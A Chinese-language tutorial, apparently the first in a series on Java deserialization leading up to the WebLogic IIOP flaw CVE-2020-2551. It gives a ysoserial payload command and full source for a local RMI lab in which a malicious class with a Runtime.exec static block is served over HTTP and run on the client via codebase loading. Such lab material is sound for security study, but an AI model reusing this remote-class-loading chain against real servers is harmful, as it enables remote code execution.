2020年 年初的时候,Weblogic爆出了一个漏洞CVE-2020-2551,说是 IIOP协议存在反序列化漏洞,可RCE(https://qiita.com/shimizukawasaki/items/7e01401a706900435591 )。
由于当时水平有限,对JAVA 序列化的理解,仅停留在ysoserial生成payload,readObject()一下就能触发RCE。
网上也没有POC,只能深入学习一下。
有幸拜读了前辈们的总结心得:
受益良多。也算是对JAVA的序列化利用有了新的认识。
内容较多,且内容深度急剧下降,对新手很难掌握。
《JAVA序列化利用学习》这个系列算是抽丝剥茧,一步一步由浅入深,理解CVE-2020-2551是怎么回事。
建议先把前辈的两篇文章按顺序读两遍。理论知识基础全部来自这里两篇文章。
本系列的代码全部摘自前辈的github:
https://github.com/longofo/rmi-jndi-ldap-jrmp-jmx-jms
前辈的github里有很多去weblogic Lookup对象的例子这里就不拿出来了,比较简单,可以跑跑看。
注意的是需要去Weblogic中拿 wlclient.jar 导入到项目。
第一个项目
可以在eclipse中创建maven项目来测试这些代码。
环境:JDK6u29 KaliLinux Eclipse
先用ysoserial生成RCE的序列化流文件:
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar Jdk7u21 'gnome-calculator' > Jdk7u21_calc.ser
Server端项目
1.先创建一个恶意类:
com.hans.remoteClass.ExportObject
package com.hans.remoteClass;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.BufferedInputStream;
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.io.Serializable;
import java.util.Hashtable;
public class ExportObject implements ObjectFactory, Serializable {
private static final long serialVersionUID = 1L;
static {
//这里由于在static代码块中,无法直接抛异常外带数据,不过在static中应该也有其他方式外带数据。没写在构造函数中是因为项目中有些利用方式不会调用构造参数,所以为了方标直接写在static代码块中所有远程加载类的地方都会调用static代码块
try {
exec("gnome-calculator");
} catch (Exception e) {
e.printStackTrace();
}
}
public static void exec(String cmd) throws Exception {
String sb = "";
BufferedInputStream in = new BufferedInputStream(Runtime.getRuntime().exec(cmd).getInputStream());
BufferedReader inBr = new BufferedReader(new InputStreamReader(in));
String lineStr;
while ((lineStr = inBr.readLine()) != null)
sb += lineStr + "\n";
inBr.close();
in.close();
// throw new Exception(sb);
}
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
2.启动一个Http server 提供远程调用恶意类:
com.hans.httpServer.HttpServer
package com.hans.httpServer;
import com.sun.net.httpserver.HttpExchange;
import com.sun.net.httpserver.HttpHandler;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.InputStream;
import java.net.InetSocketAddress;
/*
* 你客户端缺什么类到我这个Http服务上来拿
* https://paper.seebug.org/1091/
* 1. First start http server
* */
public class HttpServer implements HttpHandler {
public void handle(HttpExchange httpExchange) {
try {
System.out.println("new http request from " + httpExchange.getRemoteAddress() + " " + httpExchange.getRequestURI());
InputStream inputStream = HttpServer.class.getResourceAsStream(httpExchange.getRequestURI().getPath());
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
while (inputStream.available() > 0) {
byteArrayOutputStream.write(inputStream.read());
}
byte[] bytes = byteArrayOutputStream.toByteArray();
httpExchange.sendResponseHeaders(200, bytes.length);
httpExchange.getResponseBody().write(bytes);
httpExchange.close();
} catch (Exception e) {
e.printStackTrace();
}
}
public static void main(String args[]) throws IOException {
com.sun.net.httpserver.HttpServer httpServer = com.sun.net.httpserver.HttpServer.create(new InetSocketAddress(8000), 0);
System.out.println("String HTTP Server on port: 8000");
httpServer.createContext("/", new HttpServer());
httpServer.setExecutor(null);
httpServer.start();
}
}
3.然后部署一个RMI Server
com.hans.RMI.Message
package com.hans.RMI;
import java.io.Serializable;
public class Message implements Serializable {
private static final long serialVersionUID = 1L;
private String msg;
public Message() {
}
public String getMessage() {
System.out.println("Processing message: " + msg);
return msg;
}
public void setMessage(String msg) {
this.msg = msg;
}
}
com.hans.RMI.Services
package com.hans.RMI;
import java.rmi.RemoteException;
public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}
com.hans.RMI.ServicesImpl
package com.hans.RMI;
import java.rmi.RemoteException;
import com.hans.remoteClass.ExportObject;
public class ServicesImpl implements Services {
public ExportObject sendMessage(Message msg) throws RemoteException {
return new ExportObject();
}
}
com.hans.RMI.RMIServer
package com.hans.RMI;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import java.rmi.server.UnicastRemoteObject;
/*
* 2. Second start RMI server
* */
public class RMIServer {
public static void main(String[] args) {
try {
// 实例化服务端远程对象
ServicesImpl obj = new ServicesImpl();
// 没有继承UnicastRemoteObject时需要使用静态方法exportObject处理
Services services = (Services) UnicastRemoteObject.exportObject(obj, 0);
//设置java.rmi.server.codebase
System.setProperty("java.rmi.server.codebase", "http://127.0.0.1:8000/");
Registry reg;
try {
// 创建Registry
reg = LocateRegistry.createRegistry(9999);
System.out.println("java RMI registry created. port on 9999...");
} catch (Exception e) {
System.out.println("Using existing registry");
reg = LocateRegistry.getRegistry();
}
//绑定远程对象到Registry
reg.bind("Services", services);
} catch (RemoteException e) {
e.printStackTrace();
} catch (AlreadyBoundException e) {
e.printStackTrace();
}
}
}
当在eclipse中启动 http server时,eclipse会同时编译ExportObject.java。即可通过 http://localhost:8000/com/hans/remoteClass/ExportObject.class 获取恶意的类测试服务是否启动成功。
Client端:
作为远程方法调用,我可以不知道ExportObject做了啥,但是我必须要知道ExportObject外表长啥样:
com.hans.remoteClass.ExportObject
package com.hans.remoteClass;
import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.Serializable;
import java.util.Hashtable;
public class ExportObject implements ObjectFactory, Serializable {
private static final long serialVersionUID = 1L;
public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
return null;
}
}
com.hans.RMI.Message
package com.hans.RMI;
import java.io.Serializable;
public class Message implements Serializable {
/**
*
*/
private static final long serialVersionUID = 1L;
private String msg;
public Message() {
}
public String getMessage() {
System.out.println("Processing message: " + msg);
return msg;
}
public void setMessage(String msg) {
this.msg = msg;
}
}
com.hans.RMI.Services
package com.hans.RMI;
import java.rmi.RemoteException;
public interface Services extends java.rmi.Remote {
Object sendMessage(Message msg) throws RemoteException;
}
com.hans.RMI.RMIClient
package com.hans.RMI;
import java.rmi.RMISecurityManager;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class RMIClient
{
public static void main( String[] args ) throws Exception
{
//如果需要使用RMI的动态加载功能,需要开启RMISecurityManager,并配置policy以允许从远程加载类库
System.setProperty("java.security.policy", RMIClient.class.getClassLoader().getResource("java.policy").getFile());
RMISecurityManager securityManager = new RMISecurityManager();
System.setSecurityManager(securityManager);
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
// 获取远程对象的引用
Services services = (Services) registry.lookup("Services");
Message message = new Message();
message.setMessage("hahaha");
services.sendMessage(message);
}
}
当Client项目运行在kali linux 时,从远程加载类库时会触发代码执行,弹出计算器。